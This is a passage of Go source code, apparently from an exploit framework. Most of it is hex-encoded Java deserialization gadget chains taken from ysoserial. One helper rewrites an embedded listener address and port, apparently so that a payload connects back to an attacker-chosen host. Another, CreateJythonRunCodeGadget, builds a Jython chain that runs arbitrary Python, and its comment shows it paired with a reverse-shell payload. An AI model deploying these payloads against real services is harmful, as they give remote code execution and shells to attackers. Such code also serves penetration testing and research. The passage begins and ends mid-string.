+\n\t\t\"\\x00\\x17\\x00\\x18\\x00\\x02\\x00\\x19\\x00\\x00\\x00\\x04\\x00\\x01\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x13\\x00\\x1b\\x00\\x02\\x00\\x0c\\x00\\x00\\x00\\x49\\x00\\x00\" +\n\t\t\"\\x00\\x04\\x00\\x00\\x00\\x01\\xb1\\x00\\x00\\x00\\x02\\x00\\x0d\\x00\\x00\\x00\" +\n\t\t\"\\x06\\x00\\x01\\x00\\x00\\x00\\x39\\x00\\x0e\\x00\\x00\\x00\\x2a\\x00\\x04\\x00\" +\n\t\t\"\\x00\\x00\\x01\\x00\\x0f\\x00\\xda\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x15\\x00\" +\n\t\t\"\\x16\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x1c\\x00\\x1d\\x00\\x02\\x00\\x00\\x00\" +\n\t\t\"\\x01\\x00\\x1e\\x00\\x1f\\x00\\x03\\x00\\x19\\x00\\x00\\x00\\x04\\x00\\x01\\x00\" +\n\t\t\"\\x1a\\x00\\x08\\x00\\x29\\x00\\x0b\\x00\\x01\\x00\\x0c\\x00\\x00\\x03\\x51\\x00\" +\n\t\t\"\\x08\\x00\\x10\\x00\\x00\\x01\\xd3\\xa7\\x00\\x03\\x01\\x4c\\x12\\x2b\\x4d\\x2c\" +\n\t\t\"\\x12\\x2d\\xb6\\x00\\x33\\x4e\\x01\\x3a\\x04\\x12\\x35\\x3a\\x08\\x12\\x37\\xb8\" +\n\t\t\"\\x00\\x3d\\xb2\\x00\\x43\\xb6\\x00\\x47\\x3a\\x09\\xbb\\x00\\x49\\x59\\x2d\\x03\" +\n\t\t\"\\x32\\xb8\\x00\\x4f\\x2d\\x04\\x32\\xb8\\x00\\x55\\xb7\\x00\\x58\\x3a\\x04\\x19\" +\n\t\t\"\\x04\\xb6\\x00\\x5c\\x3a\\x05\\xbb\\x00\\x5e\\x59\\xbb\\x00\\x60\\x59\\x19\\x04\" +\n\t\t\"\\xb6\\x00\\x64\\xb7\\x00\\x67\\xb7\\x00\\x6a\\x3a\\x06\\xa7\\x01\\x4a\\x19\\x05\" +\n\t\t\"\\x12\\x6c\\xb6\\x00\\x70\\x03\\x12\\x6c\\xb6\\x00\\x70\\xbe\\xb6\\x00\\x76\\x19\" +\n\t\t\"\\x06\\xb6\\x00\\x7a\\x3a\\x08\\x19\\x08\\xb6\\x00\\x7d\\xb2\\x00\\x43\\xb6\\x00\" +\n\t\t\"\\x47\\x12\\x7f\\xb6\\x00\\x83\\x03\\xa0\\x00\\xf7\\x19\\x09\\x12\\x85\\xb6\\x00\" +\n\t\t\"\\x89\\x99\\x00\\x43\\xbb\\x00\\x8b\\x59\\x06\\xbd\\x00\\x2f\\x59\\x03\\x12\\x8d\" +\n\t\t\"\\x53\\x59\\x04\\x12\\x8f\\x53\\x59\\x05\\xbb\\x00\\x91\\x59\\xb7\\x00\\x92\\x12\" +\n\t\t\"\\x94\\xb6\\x00\\x98\\x19\\x08\\xb6\\x00\\x7d\\xb6\\x00\\x98\\x12\\x94\\xb6\\x00\" +\n\t\t\"\\x98\\xb6\\x00\\x9b\\x53\\xb7\\x00\\x9e\\x04\\xb6\\x00\\xa2\\xb6\\x00\\xa6\\x3a\" +\n\t\t\"\\x07\\xa7\\x00\\x89\\xbb\\x00\\x8b\\x59\\x06\\xbd\\x00\\x2f\\x59\\x03\\x12\\xa8\" +\n\t\t\"\\x53\\x59\\x04\\x12\\xaa\\x53\\x59\\x05\\x19\\x08\\xb6\\x00\\x7d\\x53\\xb7\\x00\" +\n\t\t\"\\x9e\\x04\\xb6\\x00\\xa2\\xb6\\x00\\xa6\\x3a\\x07\\xa7\\x00\\x60\\x3a\\x0a\\x19\" +\n\t\t\"\\x0a\\xb6\\x00\\xb1\\x12\\xb3\\xb6\\x00\\x89\\x99\\x00\\x4b\\xbb\\x00\\x8b\\x59\" +\n\t\t\"\\x06\\xbd\\x00\\x2f\\x59\\x03\\x12\\xb5\\x53\\x59\\x04\\x12\\xaa\\x53\\x59\\x05\" +\n\t\t\"\\x19\\x08\\xb6\\x00\\x7d\\x53\\xb7\\x00\\x9e\\x04\\xb6\\x00\\xa2\\xb6\\x00\\xa6\" +\n\t\t\"\\x3a\\x07\\xa7\\x00\\x1f\\x3a\\x0b\\x19\\x0b\\xb6\\x00\\xb1\\x12\\xb3\\xb6\\x00\" +\n\t\t\"\\x89\\x99\\x00\\x0d\\xbb\\x00\\xac\\x59\\x12\\xb7\\xb7\\x00\\xba\\xbf\\x19\\x0b\" +\n\t\t\"\\xbf\\xa7\\x00\\x06\\x19\\x0a\\xbf\\xa7\\x00\\x03\\x19\\x07\\xb6\\x00\\xc0\\x57\" +\n\t\t\"\\x19\\x07\\xb6\\x00\\xc1\\xb6\\x00\\xc6\\xbc\\x08\\x3a\\x0c\\x19\\x07\\xb6\\x00\" +\n\t\t\"\\xc1\\x19\\x0c\\xb6\\x00\\xca\\x57\\x19\\x05\\x19\\x0c\\xb6\\x00\\xcd\\xa7\\x00\" +\n\t\t\"\\x27\\x3a\\x0d\\x19\\x05\\xbb\\x00\\x91\\x59\\xb7\\x00\\x92\\x12\\xd1\\xb6\\x00\" +\n\t\t\"\\x98\\x19\\x0d\\xb6\\x00\\xd2\\xb6\\x00\\x98\\xb6\\x00\\x9b\\xb6\\x00\\x70\\xb6\" +\n\t\t\"\\x00\\xcd\\xa7\\x00\\x03\\x19\\x08\\xb6\\x00\\x7d\\xb2\\x00\\x43\\xb6\\x00\\x47\" +\n\t\t\"\\x12\\x7f\\xb6\\x00\\x83\\x03\\x9f\\xfe\\xa8\\x19\\x04\\xb6\\x00\\xd5\\xa7\\x00\" +\n\t\t\"\\x1b\\x3a\\x0e\\x19\\x04\\x01\\xa5\\x00\\x10\\x19\\x04\\xb6\\x00\\xd5\\xa7\\x00\" +\n\t\t\"\\x08\\x3a\\x0f\\xa7\\x00\\x03\\xa7\\x00\\x03\\xb1\\x00\\x05\\x00\\xcd\\x00\\xf3\" +\n\t\t\"\\x00\\xf6\\x00\\xac\\x01\\x05\\x01\\x2b\\x01\\x2e\\x00\\xac\\x00\\x57\\x01\\x77\" +\n\t\t\"\\x01\\x7a\\x00\\xcf\\x00\\x23\\x01\\xb7\\x01\\xba\\x00\\xcf\\x01\\xc2\\x01\\xc7\" +\n\t\t\"\\x01\\xca\\x00\\xcf\\x00\\x01\\x00\\xd8\\x00\\x00\\x01\\x44\\x00\\x11\\x03\\xff\" +\n\t\t\"\\x00\\x53\\x00\\x0a\\x00\\x05\\x07\\x00\\x2f\\x07\\x00\\xd7\\x07\\x00\\x49\\x07\" +\n\t\t\"\\x00\\x72\\x07\\x00\\x5e\\x00\\x07\\x00\\x2f\\x07\\x00\\x2f\\x00\\x00\\xfb\\x00\" +\n\t\t\"\\x75\\x68\\x07\\x00\\xac\\xff\\x00\\x37\\x00\\x0b\\x00\\x05\\x07\\x00\\x2f\\x07\" +\n\t\t\"\\x00\\xd7\\x07\\x00\\x49\\x07\\x00\\x72\\x07\\x00\\x5e\\x00\\x07\\x00\\x2f\\x07\" +\n\t\t\"\\x00\\x2f\\x07\\x00\\xac\\x00\\x01\\x07\\x00\\xac\\xfc\\x00\\x18\\x07\\x00\\xac\" +\n\t\t\"\\xff\\x00\\x02\\x00\\x0b\\x00\\x05\\x07\\x00\\x2f\\x07\\x00\\xd7\\x07\\x00\\x49\" +\n\t\t\"\\x07\\x00\\x72\\x07\\x00\\x5e\\x07\\x00\\xbc\\x07\\x00\\x2f\\x07\\x00\\x2f\\x07\" +\n\t\t\"\\x00\\xac\\x00\\x00\\xff\\x00\\x02\\x00\\x0b\\x00\\x05\\x07\\x00\\x2f\\x07\\x00\" +\n\t\t\"\\xd7\\x07\\x00\\x49\\x07\\x00\\x72\\x07\\x00\\x5e\\x00\\x07\\x00\\x2f\\x07\\x00\" +\n\t\t\"\\x2f\\x07\\x00\\xac\\x00\\x00\\xff\\x00\\x02\\x00\\x0b\\x00\\x05\\x07\\x00\\x2f\" +\n\t\t\"\\x07\\x00\\xd7\\x07\\x00\\x49\\x07\\x00\\x72\\x07\\x00\\x5e\\x07\\x00\\xbc\\x07\" +\n\t\t\"\\x00\\x2f\\x07\\x00\\x2f\\x07\\x00\\xac\\x00\\x00\\xfa\\x00\\x02\\xff\\x00\\x23\" +\n\t\t\"\\x00\\x0a\\x00\\x05\\x07\\x00\\x2f\\x07\\x00\\xd7\\x07\\x00\\x49\\x07\\x00\\x72\" +\n\t\t\"\\x07\\x00\\x5e\\x00\\x07\\x00\\x2f\\x07\\x00\\x2f\\x00\\x00\\x42\\x07\\x00\\xcf\" +\n\t\t\"\\x23\\xff\\x00\\x1b\\x00\\x0a\\x00\\x05\\x07\\x00\\x2f\\x07\\x00\\xd7\\x07\\x00\" +\n\t\t\"\\x49\\x00\\x00\\x00\\x07\\x00\\x2f\\x07\\x00\\x2f\\x00\\x01\\x07\\x00\\xcf\\xff\" +\n\t\t\"\\x00\\x0f\\x00\\x0f\\x00\\x05\\x07\\x00\\x2f\\x07\\x00\\xd7\\x07\\x00\\x49\\x00\" +\n\t\t\"\\x00\\x00\\x07\\x00\\x2f\\x07\\x00\\x2f\\x00\\x00\\x00\\x00\\x07\\x00\\xcf\\x00\" +\n\t\t\"\\x01\\x07\\x00\\xcf\\x04\\xff\\x00\\x02\\x00\\x0a\\x00\\x05\\x07\\x00\\x2f\\x07\" +\n\t\t\"\\x00\\xd7\\x07\\x00\\x49\\x00\\x00\\x00\\x07\\x00\\x2f\\x07\\x00\\x2f\\x00\\x00\" +\n\t\t\"\\x00\\x02\\x00\\x20\\x00\\x00\\x00\\x02\\x00\\x21\\x00\\x11\\x00\\x00\\x00\\x0a\" +\n\t\t\"\\x00\\x01\\x00\\x02\\x00\\x23\\x00\\x10\\x00\\x09\\x75\\x71\\x00\\x7e\\x00\\x10\" +\n\t\t\"\\x00\\x00\\x01\\xd4\\xca\\xfe\\xba\\xbe\\x00\\x00\\x00\\x32\\x00\\x1b\\x0a\\x00\" +\n\t\t\"\\x03\\x00\\x15\\x07\\x00\\x17\\x07\\x00\\x18\\x07\\x00\\x19\\x01\\x00\\x10\\x73\" +\n\t\t\"\\x65\\x72\\x69\\x61\\x6c\\x56\\x65\\x72\\x73\\x69\\x6f\\x6e\\x55\\x49\\x44\\x01\" +\n\t\t\"\\x00\\x01\\x4a\\x01\\x00\\x0d\\x43\\x6f\\x6e\\x73\\x74\\x61\\x6e\\x74\\x56\\x61\" +\n\t\t\"\\x6c\\x75\\x65\\x05\\x71\\xe6\\x69\\xee\\x3c\\x6d\\x47\\x18\\x01\\x00\\x06\\x3c\" +\n\t\t\"\\x69\\x6e\\x69\\x74\\x3e\\x01\\x00\\x03\\x28\\x29\\x56\\x01\\x00\\x04\\x43\\x6f\" +\n\t\t\"\\x64\\x65\\x01\\x00\\x0f\\x4c\\x69\\x6e\\x65\\x4e\\x75\\x6d\\x62\\x65\\x72\\x54\" +\n\t\t\"\\x61\\x62\\x6c\\x65\\x01\\x00\\x12\\x4c\\x6f\\x63\\x61\\x6c\\x56\\x61\\x72\\x69\" +\n\t\t\"\\x61\\x62\\x6c\\x65\\x54\\x61\\x62\\x6c\\x65\\x01\\x00\\x04\\x74\\x68\\x69\\x73\" +\n\t\t\"\\x01\\x00\\x03\\x46\\x6f\\x6f\\x01\\x00\\x0c\\x49\\x6e\\x6e\\x65\\x72\\x43\\x6c\" +\n\t\t\"\\x61\\x73\\x73\\x65\\x73\\x01\\x00\\x25\\x4c\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\" +\n\t\t\"\\x61\\x6c\\x2f\\x70\\x61\\x79\\x6c\\x6f\\x61\\x64\\x73\\x2f\\x75\\x74\\x69\\x6c\" +\n\t\t\"\\x2f\\x47\\x61\\x64\\x67\\x65\\x74\\x73\\x24\\x46\\x6f\\x6f\\x3b\\x01\\x00\\x0a\" +\n\t\t\"\\x53\\x6f\\x75\\x72\\x63\\x65\\x46\\x69\\x6c\\x65\\x01\\x00\\x0c\\x47\\x61\\x64\" +\n\t\t\"\\x67\\x65\\x74\\x73\\x2e\\x6a\\x61\\x76\\x61\\x0c\\x00\\x0a\\x00\\x0b\\x07\\x00\" +\n\t\t\"\\x1a\\x01\\x00\\x23\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\\x2f\\x70\\x61\" +\n\t\t\"\\x79\\x6c\\x6f\\x61\\x64\\x73\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\" +\n\t\t\"\\x65\\x74\\x73\\x24\\x46\\x6f\\x6f\\x01\\x00\\x10\\x6a\\x61\\x76\\x61\\x2f\\x6c\" +\n\t\t\"\\x61\\x6e\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x63\\x74\\x01\\x00\\x14\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x69\\x6f\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\\x62\\x6c\" +\n\t\t\"\\x65\\x01\\x00\\x1f\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\\x2f\\x70\\x61\" +\n\t\t\"\\x79\\x6c\\x6f\\x61\\x64\\x73\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\" +\n\t\t\"\\x65\\x74\\x73\\x00\\x21\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x04\\x00\\x01\\x00\" +\n\t\t\"\\x1a\\x00\\x05\\x00\\x06\\x00\\x01\\x00\\x07\\x00\\x00\\x00\\x02\\x00\\x08\\x00\" +\n\t\t\"\\x01\\x00\\x01\\x00\\x0a\\x00\\x0b\\x00\\x01\\x00\\x0c\\x00\\x00\\x00\\x2f\\x00\" +\n\t\t\"\\x01\\x00\\x01\\x00\\x00\\x00\\x05\\x2a\\xb7\\x00\\x01\\xb1\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x00\\x0d\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\\x00\\x3d\\x00\\x0e\\x00\\x00\" +\n\t\t\"\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x0f\\x00\\x12\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x00\\x13\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x11\\x00\\x00\\x00\\x0a\\x00\\x01\" +\n\t\t\"\\x00\\x02\\x00\\x16\\x00\\x10\\x00\\x09\\x70\\x74\\x00\\x04\\x50\\x77\\x6e\\x72\" +\n\t\t\"\\x70\\x77\\x01\\x00\\x78\\x71\\x00\\x7e\\x00\\x0d\\x78\"\n\n\ttarget := \"10.9.49.225:1270:aaaaaaaaaaaa\"\n\n\t// build the string that we need to replace in the gadget\n\treplacement := lhost + \":\" + strconv.Itoa(lport) + \":\"\n\treplacement += strings.Repeat(\"a\", len(target)-len(replacement))\n\n\t// replace it\n\treturn strings.Replace(gadget, target, replacement, 1)\n}\n\n// This function generates a serialized Jython payload that executes arbitrary Python.\n// It's the \"runcode\" variation of Steven Seeley and Rocco Calvi's Jython2:\n//\n// https://github.com/frohoff/ysoserial/pull/200/files\n//\n// The payload can be used like so:\n//\n//\tjava.CreateJythonRunCodeGadget(payload.UnflattenedSecureReversePython27(conf.Lhost, conf.Lport))\n//\n// The payload was serialized and tested on Java 11.\nfunc CreateJythonRunCodeGadget(payload string) string {\n\treturn \"\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x17\\x6a\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\" +\n\t\t\"\\x2e\\x50\\x72\\x69\\x6f\\x72\\x69\\x74\\x79\\x51\\x75\\x65\\x75\\x65\\x94\\xda\\x30\" +\n\t\t\"\\xb4\\xfb\\x3f\\x82\\xb1\\x03\\x00\\x02\\x49\\x00\\x04\\x73\\x69\\x7a\\x65\\x4c\\x00\" +\n\t\t\"\\x0a\\x63\\x6f\\x6d\\x70\\x61\\x72\\x61\\x74\\x6f\\x72\\x74\\x00\\x16\\x4c\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x43\\x6f\\x6d\\x70\\x61\\x72\\x61\\x74\\x6f\" +\n\t\t\"\\x72\\x3b\\x78\\x70\\x00\\x00\\x00\\x02\\x73\\x7d\\x00\\x00\\x00\\x01\\x00\\x14\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x43\\x6f\\x6d\\x70\\x61\\x72\\x61\\x74\" +\n\t\t\"\\x6f\\x72\\x78\\x72\\x00\\x17\\x6a\\x61\\x76\\x61\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x72\" +\n\t\t\"\\x65\\x66\\x6c\\x65\\x63\\x74\\x2e\\x50\\x72\\x6f\\x78\\x79\\xe1\\x27\\xda\\x20\\xcc\" +\n\t\t\"\\x10\\x43\\xcb\\x02\\x00\\x01\\x4c\\x00\\x01\\x68\\x74\\x00\\x25\\x4c\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x72\\x65\\x66\\x6c\\x65\\x63\\x74\\x2f\\x49\\x6e\" +\n\t\t\"\\x76\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x3b\\x78\" +\n\t\t\"\\x70\\x73\\x72\\x00\\x18\\x6f\\x72\\x67\\x2e\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\" +\n\t\t\"\\x6f\\x72\\x65\\x2e\\x50\\x79\\x4d\\x65\\x74\\x68\\x6f\\x64\\xe6\\x89\\x1e\\x2a\\x03\" +\n\t\t\"\\xa1\\x1a\\x73\\x02\\x00\\x03\\x4c\\x00\\x08\\x5f\\x5f\\x66\\x75\\x6e\\x63\\x5f\\x5f\" +\n\t\t\"\\x74\\x00\\x1a\\x4c\\x6f\\x72\\x67\\x2f\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2f\\x63\\x6f\" +\n\t\t\"\\x72\\x65\\x2f\\x50\\x79\\x4f\\x62\\x6a\\x65\\x63\\x74\\x3b\\x4c\\x00\\x08\\x5f\\x5f\" +\n\t\t\"\\x73\\x65\\x6c\\x66\\x5f\\x5f\\x71\\x00\\x7e\\x00\\x08\\x4c\\x00\\x08\\x69\\x6d\\x5f\" +\n\t\t\"\\x63\\x6c\\x61\\x73\\x73\\x71\\x00\\x7e\\x00\\x08\\x78\\x72\\x00\\x18\\x6f\\x72\\x67\" +\n\t\t\"\\x2e\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x50\\x79\\x4f\\x62\" +\n\t\t\"\\x6a\\x65\\x63\\x74\\x9f\\xa1\\x91\\xb4\\xc8\\xca\\x5a\\x5e\\x02\\x00\\x02\\x4c\\x00\" +\n\t\t\"\\x0a\\x61\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x74\\x00\\x12\\x4c\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x74\\x63\\x3b\\x4c\\x00\" +\n\t\t\"\\x07\\x6f\\x62\\x6a\\x74\\x79\\x70\\x65\\x74\\x00\\x18\\x4c\\x6f\\x72\\x67\\x2f\\x70\" +\n\t\t\"\\x79\\x74\\x68\\x6f\\x6e\\x2f\\x63\\x6f\\x72\\x65\\x2f\\x50\\x79\\x54\\x79\\x70\\x65\" +\n\t\t\"\\x3b\\x78\\x70\\x70\\x73\\x72\\x00\\x23\\x6f\\x72\\x67\\x2e\\x70\\x79\\x74\\x68\\x6f\" +\n\t\t\"\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x50\\x79\\x54\\x79\\x70\\x65\\x24\\x54\\x79\\x70\" +\n\t\t\"\\x65\\x52\\x65\\x73\\x6f\\x6c\\x76\\x65\\x72\\x7b\\x81\\x53\\xc5\\x9e\\x62\\x6a\\xf9\" +\n\t\t\"\\x02\\x00\\x03\\x4c\\x00\\x06\\x6d\\x6f\\x64\\x75\\x6c\\x65\\x74\\x00\\x12\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x4c\" +\n\t\t\"\\x00\\x04\\x6e\\x61\\x6d\\x65\\x71\\x00\\x7e\\x00\\x0e\\x4c\\x00\\x10\\x75\\x6e\\x64\" +\n\t\t\"\\x65\\x72\\x6c\\x79\\x69\\x6e\\x67\\x5f\\x63\\x6c\\x61\\x73\\x73\\x74\\x00\\x11\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x43\\x6c\\x61\\x73\\x73\\x3b\\x78\" +\n\t\t\"\\x70\\x74\\x00\\x0b\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x5f\\x5f\\x74\\x00\" +\n\t\t\"\\x0e\\x69\\x6e\\x73\\x74\\x61\\x6e\\x63\\x65\\x6d\\x65\\x74\\x68\\x6f\\x64\\x76\\x71\" +\n\t\t\"\\x00\\x7e\\x00\\x07\\x73\\x72\\x00\\x20\\x6f\\x72\\x67\\x2e\\x70\\x79\\x74\\x68\\x6f\" +\n\t\t\"\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x42\\x75\\x69\\x6c\\x74\\x69\\x6e\\x46\\x75\\x6e\" +\n\t\t\"\\x63\\x74\\x69\\x6f\\x6e\\x73\\x2e\\xda\\xd3\\x8f\\x33\\xc1\\x5d\\xef\\x02\\x00\\x00\" +\n\t\t\"\\x78\\x72\\x00\\x24\\x6f\\x72\\x67\\x2e\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\" +\n\t\t\"\\x72\\x65\\x2e\\x50\\x79\\x42\\x75\\x69\\x6c\\x74\\x69\\x6e\\x46\\x75\\x6e\\x63\\x74\" +\n\t\t\"\\x69\\x6f\\x6e\\x53\\x65\\x74\\xa0\\xc5\\x98\\x08\\xd6\\x6c\\xf1\\x09\\x02\\x00\\x01\" +\n\t\t\"\\x49\\x00\\x05\\x69\\x6e\\x64\\x65\\x78\\x78\\x72\\x00\\x27\\x6f\\x72\\x67\\x2e\\x70\" +\n\t\t\"\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x50\\x79\\x42\\x75\\x69\\x6c\" +\n\t\t\"\\x74\\x69\\x6e\\x46\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e\\x4e\\x61\\x72\\x72\\x6f\\x77\" +\n\t\t\"\\xde\\xfa\\x41\\x3d\\xc2\\x88\\x97\\x06\\x02\\x00\\x00\\x78\\x72\\x00\\x21\\x6f\\x72\" +\n\t\t\"\\x67\\x2e\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x50\\x79\\x42\" +\n\t\t\"\\x75\\x69\\x6c\\x74\\x69\\x6e\\x46\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e\\x51\\xa2\\xd5\" +\n\t\t\"\\x02\\x4b\\xda\\x30\\xe1\\x02\\x00\\x00\\x78\\x72\\x00\\x21\\x6f\\x72\\x67\\x2e\\x70\" +\n\t\t\"\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x50\\x79\\x42\\x75\\x69\\x6c\" +\n\t\t\"\\x74\\x69\\x6e\\x43\\x61\\x6c\\x6c\\x61\\x62\\x6c\\x65\\xb2\\xd9\\xba\\xd8\\x71\\x3f\" +\n\t\t\"\\x92\\x32\\x02\\x00\\x02\\x4c\\x00\\x03\\x64\\x6f\\x63\\x71\\x00\\x7e\\x00\\x0e\\x4c\" +\n\t\t\"\\x00\\x04\\x69\\x6e\\x66\\x6f\\x74\\x00\\x28\\x4c\\x6f\\x72\\x67\\x2f\\x70\\x79\\x74\" +\n\t\t\"\\x68\\x6f\\x6e\\x2f\\x63\\x6f\\x72\\x65\\x2f\\x50\\x79\\x42\\x75\\x69\\x6c\\x74\\x69\" +\n\t\t\"\\x6e\\x43\\x61\\x6c\\x6c\\x61\\x62\\x6c\\x65\\x24\\x49\\x6e\\x66\\x6f\\x3b\\x78\\x71\" +\n\t\t\"\\x00\\x7e\\x00\\x09\\x70\\x73\\x71\\x00\\x7e\\x00\\x0d\\x71\\x00\\x7e\\x00\\x11\\x74\" +\n\t\t\"\\x00\\x1a\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x5f\\x66\\x75\\x6e\\x63\\x74\\x69\\x6f\" +\n\t\t\"\\x6e\\x5f\\x6f\\x72\\x5f\\x6d\\x65\\x74\\x68\\x6f\\x64\\x76\\x71\\x00\\x7e\\x00\\x18\" +\n\t\t\"\\x70\\x73\\x72\\x00\\x2d\\x6f\\x72\\x67\\x2e\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\" +\n\t\t\"\\x6f\\x72\\x65\\x2e\\x50\\x79\\x42\\x75\\x69\\x6c\\x74\\x69\\x6e\\x43\\x61\\x6c\\x6c\" +\n\t\t\"\\x61\\x62\\x6c\\x65\\x24\\x44\\x65\\x66\\x61\\x75\\x6c\\x74\\x49\\x6e\\x66\\x6f\\x8b\" +\n\t\t\"\\xaa\\xd5\\xa6\\xb1\\x64\\x28\\x9e\\x02\\x00\\x03\\x49\\x00\\x07\\x6d\\x61\\x78\\x61\" +\n\t\t\"\\x72\\x67\\x73\\x49\\x00\\x07\\x6d\\x69\\x6e\\x61\\x72\\x67\\x73\\x4c\\x00\\x04\\x6e\" +\n\t\t\"\\x61\\x6d\\x65\\x71\\x00\\x7e\\x00\\x0e\\x78\\x70\\x00\\x00\\x00\\x01\\x00\\x00\\x00\" +\n\t\t\"\\x01\\x74\\x00\\x03\\x72\\x63\\x65\\x00\\x00\\x00\\x12\\x70\\x73\\x71\\x00\\x7e\\x00\" +\n\t\t\"\\x0d\\x71\\x00\\x7e\\x00\\x11\\x74\\x00\\x03\\x73\\x74\\x72\\x76\\x72\\x00\\x18\\x6f\" +\n\t\t\"\\x72\\x67\\x2e\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x50\\x79\" +\n\t\t\"\\x53\\x74\\x72\\x69\\x6e\\x67\\xd6\\x8d\\x65\\x14\\x47\\x2d\\xf1\\x11\\x02\\x00\\x02\" +\n\t\t\"\\x4c\\x00\\x06\\x65\\x78\\x70\\x6f\\x72\\x74\\x74\\x00\\x19\\x4c\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x72\\x65\\x66\\x2f\\x52\\x65\\x66\\x65\\x72\\x65\\x6e\" +\n\t\t\"\\x63\\x65\\x3b\\x4c\\x00\\x06\\x73\\x74\\x72\\x69\\x6e\\x67\\x71\\x00\\x7e\\x00\\x0e\" +\n\t\t\"\\x78\\x72\\x00\\x1c\\x6f\\x72\\x67\\x2e\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\" +\n\t\t\"\\x72\\x65\\x2e\\x50\\x79\\x42\\x61\\x73\\x65\\x53\\x74\\x72\\x69\\x6e\\x67\\x24\\x84\" +\n\t\t\"\\x80\\x35\\x34\\x24\\x14\\xed\\x02\\x00\\x00\\x78\\x72\\x00\\x1a\\x6f\\x72\\x67\\x2e\" +\n\t\t\"\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x50\\x79\\x53\\x65\\x71\" +\n\t\t\"\\x75\\x65\\x6e\\x63\\x65\\x55\\x5a\\x4f\\x14\\x4e\\x43\\x3e\\xe1\\x02\\x00\\x01\\x4c\" +\n\t\t\"\\x00\\x09\\x64\\x65\\x6c\\x65\\x67\\x61\\x74\\x6f\\x72\\x74\\x00\\x27\\x4c\\x6f\\x72\" +\n\t\t\"\\x67\\x2f\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2f\\x63\\x6f\\x72\\x65\\x2f\\x53\\x65\\x71\" +\n\t\t\"\\x75\\x65\\x6e\\x63\\x65\\x49\\x6e\\x64\\x65\\x78\\x44\\x65\\x6c\\x65\\x67\\x61\\x74\" +\n\t\t\"\\x65\\x3b\\x78\\x71\\x00\\x7e\\x00\\x09\\x77\\x04\\x00\\x00\\x00\\x03\\x73\\x71\\x00\" +\n\t\t\"\\x7e\\x00\\x23\\x70\\x71\\x00\\x7e\\x00\\x21\\x73\\x72\\x00\\x2f\\x6f\\x72\\x67\\x2e\" +\n\t\t\"\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x50\\x79\\x53\\x65\\x71\" +\n\t\t\"\\x75\\x65\\x6e\\x63\\x65\\x24\\x44\\x65\\x66\\x61\\x75\\x6c\\x74\\x49\\x6e\\x64\\x65\" +\n\t\t\"\\x78\\x44\\x65\\x6c\\x65\\x67\\x61\\x74\\x65\\x6d\\xea\\x57\\x2b\\x0a\\x72\\xa6\\x80\" +\n\t\t\"\\x02\\x00\\x01\\x4c\\x00\\x06\\x74\\x68\\x69\\x73\\x24\\x30\\x74\\x00\\x1c\\x4c\\x6f\" +\n\t\t\"\\x72\\x67\\x2f\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2f\\x63\\x6f\\x72\\x65\\x2f\\x50\\x79\" 